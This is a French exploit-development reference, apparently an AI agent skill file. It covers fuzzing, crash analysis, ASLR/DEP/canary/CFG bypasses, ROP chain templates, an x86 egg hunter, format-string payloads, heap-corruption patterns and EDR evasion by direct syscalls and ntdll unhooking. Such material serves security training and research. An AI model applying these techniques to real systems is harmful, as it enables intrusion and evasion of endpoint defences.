| name | exploit-dev |
| description | Développement d'exploits — fuzzing, analyse de crash, ASLR/DEP bypass, ROP, EDR evasion, et rédaction d'exploits reproductibles |
| tags | ["exploit","fuzzing","ROP","ASLR","DEP","EDR","windows","linux"] |
| version | 1 |
Développement d'Exploits (Exploit Dev)
Guide complet pour le développement d'exploits de vulnérabilités binaires, du crash proof-of-concept à l'exploit fiable et reproductible.
1. Phase de Découverte — Fuzzing
Fuzzers
| Outil | Usage | Description |
|---|
| AFL++ | afl-fuzz -i in/ -o out/ -- ./target @@ | Fuzzer par couverture de code (LLVM/Clang) |
| libFuzzer | clang -fsanitize=fuzzer target.c -o target | Fuzzer in-process, coverage-guided |
| Honggfuzz | honggfuzz -f in/ -- ./target ___FILE___ | Fuzzer multi-tread avec hardware feedback |
| Bochspwn | Instrumentation Bochs pour détection de bugs mémoire | |
| Syzkaller | Fuzzing de syscalls kernel Linux — coverage, KASAN | |
Sanitizers (détection en temps réel)
-fsanitize=address # ASan : buffer overflows, UAF
-fsanitize=undefined # UBSan : undefined behavior
-fsanitize=memory # MSan : uninitialized reads
-fsanitize=thread # TSan : data races
-fsanitize=leak # LeakSanitizer
Workflow Fuzzing
clang -fsanitize=address,fuzzer -o fuzz_target target.c
mkdir in && echo "hello" > in/seed1
afl-fuzz -m none -i in/ -o out/ -- ./fuzz_target @@
afl-crashes -o crashes/ out/
for crash in crashes/*; do ./fuzz_target "$crash"; done
2. Analyse de Crash — Windbg / GDB
Windows (Windbg)
# Analyser un crash
!analyze -v # Analyse détaillée
!exchain # SEH chain
kb # Stack trace
dds esp # Dump stack
lmvm module # Module info (ASLR, DEP)
!address # Memory map
# Trouver le offset EIP
!pattern_offset <valeur>
Linux (GDB / pwndbg / gef)
info registers # Registres
x/20xg $rsp # Stack dump
info proc mappings # Memory layout
vmmap # (pwndbg) Map mémoire
checksec # (pwndbg) Protections binaire
cyclic -l <fault_addr> # Offset pattern
3. Protections et Bypass
ASLR (Address Space Layout Randomization)
- Exploitation immédiate : cibles non-ASLR (modules sans
/DYNAMICBASE, anciens programmes)
- Partial EIP overwrite : 1-2 octets pour recentrer sur même page
- Heap spraying : allouer massivement pour placer shellcode à adresse prévisible
- Information leak : lire une adresse via vulnérabilité info leak first
- Ret2plt / Ret2got : contourner ASLR sans leak
DEP / NX (Non-Executable Stack)
- Ret2libc : réutiliser fonctions existantes (
system(), VirtualProtect())
- ROP (Return-Oriented Programming) : chaîne de gadgets
- Stack Pivoting : déplacer ESP/SP vers buffer contrôlé
- Calling VirtualProtect : marquer région exécutable puis sauter
Stack Canary / GS
- Brute-force : canary 4/8 bytes, brute mot à mot (fork serveur)
- Info leak : lire canary via buffer overflow format string
- Terminator : canary commence par
\x00 — éviter write primitives qui skip NULL
- /GS exceptions : buffers < 4 bytes, variables non-buffer locales, pas de
/GS-
CFG (Control Flow Guard) — Windows
- SetProcessValidCallTargets : bypass si on peut marquer une adresse comme valide
- Ret2lib sans CFG : fonctions déjà dans la table de validité
- Disable CFG : anciens processus compatibles, pas de
/guard:cf
4. ROP — Return-Oriented Programming
Trouver des Gadgets
ROPgadget --binary target.exe --ropchain
ropper --file target.exe --search "pop rdi"
rp-win64 --file target.exe --rop=3
!mona rop -m target.exe
ROP Chain Patterns
rop_chain = [
pop_rcx,
page_addr,
pop_rdx,
size,
pop_r8,
0x40,
pop_r9,
writeable_addr,
mov_qword_ptr_rsp_r9,
jmp_rsp,
gadget_return,
shellcode_start
]
Egg Hunting
# Sigle egg (ex: "W00T") + shellcode plus grand
# Si taille buffer limitée, egg hunter cherche l'egg en mémoire
# Techniques : NtAccessCheckAndAuditAlarm, SEH, syscall
# Exemple egg hunter x86 ASM
egg_hunter:
inc edi
push 2
pop ecx
mov eax, edi
cdq
mov esi, 0x544F4F57 ; "W00T"
nop
repe scasd
jne short egg_hunter
jmp edi
5. Format String
Lecture de mémoire
payload = "%08x.%08x.%08x.%08x.%08x.%08x..."
payload = pack("<Q", target_addr) + "%6$s"
Écriture mémoire (arbitraire)
payload = pack("<Q", addr1) + pack("<Q", addr2) + "%<val>c%<pos>$hn"
6. Heap Exploitation
Use-After-Free
ptr = malloc(size);
free(ptr);
attacker_data = malloc(size);
memcpy(attacker_data, controlled_data, size);
ptr->vtable();
Double Free
ptr = HeapAlloc(heap, 0, size);
HeapFree(heap, 0, ptr);
HeapFree(heap, 0, ptr);
ptr2 = HeapAlloc(heap, 0, size);
7. EDR Evasion dans l'Exploit
Call Stack Spoofing
- Masquer la chaîne d'appels pour éviter les hooks EDR sur
Nt* (userland callbacks)
- Utiliser des syscalls directs (Hell's Gate, Halo's Gate, SysWhispers)
Indirect Syscalls
__asm {
mov r10, rcx
mov eax, ssn
jmp syscall_address
}
NtDll Unhooking
- Lire
ntdll.dll disque (fresh copy)
- Remplacer les 8 premiers octets de chaque syscall hooké
- Technique :
NtMapViewOfSection → fresh mapped section
8. Outils Essentiels
Développement
| Outil | Usage |
|---|
| pwntools | Framework Python pour exploit dev |
| Mona.py | Modules WinDbg pour analyse d'exploit |
| ROPgadget | Recherche de gadgets ROP |
| rp++ | Recherche rapide de gadgets |
| BlobRunner | Extraction et exécution de shellcode |
| pe-bear | Analyseur PE (headers, sections) |
| x64dbg | Debugger Windows avec plugins analyse |
Reverse Engineering
| Outil | Usage |
|---|
| Ghidra | Décompilateur + scripting Python/Java |
| IDA Pro + HexRays | Reverse engineering pro |
| Binary Ninja | ML-based analysis + BNIL |
| x64dbg + ScyllaHide | Debug + anti-anti-debug |
9. Checklist Exploit Dev
10. Pitfalls
- Fonctions variadiques :
printf(user_input) → format string bug
- Integer overflow avant allocation → heap overflow
- Race condition TOCTOU avant utilisation
- Off-by-one dans boucle → adjacent variable overwrite
- Path separator dans filtre → path traversal → lecture de fichiers
- Unicode expansion : buffer
char[100] → MultiByteToWideChar() → buffer WCHAR[100] → overflow si MBCS dépasse
11. Ressources